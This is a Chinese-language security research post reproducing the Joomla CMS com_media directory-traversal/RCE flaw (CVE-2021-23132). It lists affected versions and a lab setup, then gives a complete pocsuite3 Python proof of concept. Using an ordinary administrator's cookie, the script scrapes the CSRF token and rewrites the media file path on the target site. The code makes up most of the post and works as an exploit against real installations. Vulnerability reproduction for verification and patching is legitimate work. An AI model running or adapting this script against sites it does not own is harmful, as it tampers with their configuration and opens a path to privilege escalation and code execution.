返回首页
EN
H7 / SECURITY RESEARCH NOTES

Joomla CMS 远程代码执行漏洞复现(CVE-2021-23132)

本页导航7 个章节

0x01 漏洞详情

Joomla!是一套全球知名的内容管理系统,可以在Linux、 Windows、MacOSX等各种不同的平台上执行。目前是由Open Source Matters这个开放源码组织进行开发与支持。 logo.png

由于com_media组件配置能够被普通管理员身份的用户修改为任意目录,导致攻击者可以进行目录遍历。并且通过修改应用的关键配置文件,使得普通管理员身份的用户可以创建超级管理员身份的用户,进而造成远程代码执行。

0X02 影响版本

3.0.0 <= Joomla CMS <= 3.9.24

0x03 环境搭建

官网下载Joomla CMS 3.9.23(受影响版本)的安装包和Joomla CMS 3.9.25(未受影响版本),下载链接:https://downloads.joomla.org/zh-cn/cms Joomla CMS 3.9.23版本: logo_3923.png

Joomla CMS 3.9.25版本: logo_3925.png

0x04 漏洞复现

poc_test_success.png

0x05 POC编写

# /usr/bin/env python3
# coding:utf8

from pocsuite3.api import Output, POCBase, register_poc, requests, logger
import re
import sys


class TestPOC(POCBase):
    vulID = 'Hunter-0x07'
    version = 'v1'
    author = ['Hunter-0x07']
    vulDate = '2021-03-02'
    createDate = '2021-03-09'
    updateDate = '2021-03-09'
    references = ['']
    name = 'Joomla CMS 远程代码执行漏洞'
    appPowerLink = ''
    appName = 'Joomla CMS'
    appVersion = '''3.0.0 <= Joomla CMS <= 3.9.24'''
    vulType = 'RCE'
    desc = ''''''

    def _verify(self):
        result = {}

        self.url = self.url.strip('/')
        # logger.info(self.headers)
        self._sess = requests.session()

        # com_media配置页面url
        self.media_config_url = self.url + "/administrator/index.php?option=com_config&view=component&component=com_media&path="
        self.config_url = self.url + "/administrator/index.php?option=com_config"

        try:
            # 检查是否为admin用户,不是则退出程序
            self._check_admin()

            # 判断是否存在漏洞
            if self._vul_verify():
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = self.url
                logger.info("[+] 存在漏洞\n")

        except Exception as e:
            logger.error(f'[-] 运行出现未知错误: {e}\n')

        return self.parse_output(result)

    def _vul_verify(self):
        """
        判断是否存在漏洞

        :params: None

        :return: 存在漏洞则返回True,不存在返回False
        """
        try:
            logger.info("尝试获取原始的配置信息")
            resp = self._sess.get(url=self.media_config_url)

            token = self._extract_token(resp)

            # 提取原始配置信息
            match_upload_extensions = re.search(r'jform_upload_extensions".*value="(.*?)"', resp.text)
            upload_extensions = match_upload_extensions.group(1) if match_upload_extensions else ''

            match_upload_maxsize = re.search(r'jform_upload_maxsize".*value="(.*?)"', resp.text)
            upload_maxsize = match_upload_maxsize.group(1) if match_upload_maxsize else ''

            match_file_path = re.search(r'jform_file_path".*value="(.*?)"', resp.text)
            file_path = match_file_path.group(1) if match_file_path else ''

            match_image_path = re.search(r'jform_image_path".*value="(.*?)"', resp.text)
            image_path = match_image_path.group(1) if match_image_path else ''

            match_restrict_uploads = re.search(r'jform\[restrict_uploads].*value="(.*?)".*checked', resp.text)
            restrict_uploads = match_restrict_uploads.group(1) if match_restrict_uploads else ''

            match_check_mime = re.search(r'jform\[check_mime].*value="(.*?)".*checked', resp.text)
            check_mime = match_check_mime.group(1) if match_check_mime else ''

            match_image_extensions = re.search(r'jform_image_extensions".*value="(.*?)"', resp.text)
            images_extensions = match_image_extensions.group(1) if match_image_extensions else ''

            match_ignore_extensions = re.search('jform_ignore_extensions".*value="(.*?)"', resp.text)
            ignore_extensions = match_ignore_extensions.group(1) if match_ignore_extensions else ''

            match_upload_mime = re.search('jform_upload_mime".*value="(.*?)"', resp.text)
            upload_mime = match_upload_mime.group(1) if match_upload_mime else ''

            match_upload_mime_illegal = re.search('jform_upload_mime_illegal".*value="(.*?)"', resp.text)
            upload_mime_illegal = match_upload_mime_illegal.group(1) if match_upload_mime_illegal else ''

            # 指定修改的路径
            modify_file_path = './' + file_path

            # 构造新的post数据包
            new_post_data = {
                'jform[upload_extensions]': upload_extensions,
                'jform[upload_maxsize]': upload_maxsize,
                'jform[file_path]': './' + modify_file_path,
                'jform[image_path]': './' + image_path,
                'jform[restrict_uploads]': restrict_uploads,
                'jform[check_mime]': check_mime,
                'jform[image_extensions]': images_extensions,
                'jform[ignore_extensions]': ignore_extensions,
                'jform[upload_mime]': upload_mime,
                'jform[upload_mime_illegal]': upload_mime_illegal,
                'id': 13,
                'component': 'com_media',
                'task': 'config.save.component.apply',
                token: 1
            }

            # 尝试修改目标配置
            resp = self._sess.post(url=self.config_url, data=new_post_data)
            if 'alert-success' not in resp.text:
                return False

        except Exception as e:
            logger.error(f"出现未知错误{e}")

        return True

    def _check_admin(self):
        """
        检查当前cookie是否为admin用户cookie

        :params: None

        :return: 是则返回token,不是则退出程序
        """
        try:
            resp = self._sess.get(self.media_config_url, headers=self.headers)

        except Exception as e:
            logger.error(f"出现未知错误{e}")

        token = self._extract_token(resp)
        if not token:
            logger.error("[-] 不是管理员用户cookie,请输入管理员用户cookie!退出程序")
            sys.exit()

        logger.info("确认为管理员用户")

    def _extract_token(self, resp):
        """
        提取响应页面token

        :params: None

        :return: 提取的页面token
        """
        match_token = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S)

        return match_token.group(1)

    def _attack(self):
        return self._verify()

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output

register_poc(TestPOC)

0x06 POC复现

注意:POC使用时得带上--cookie "普通管理员的cookie" 存在漏洞,如图所示 poc_test_success_6.png

不存在漏洞,如图所示 poc_test_failed_6.png

0x07 参考链接

https://developer.joomla.org/security-centre.html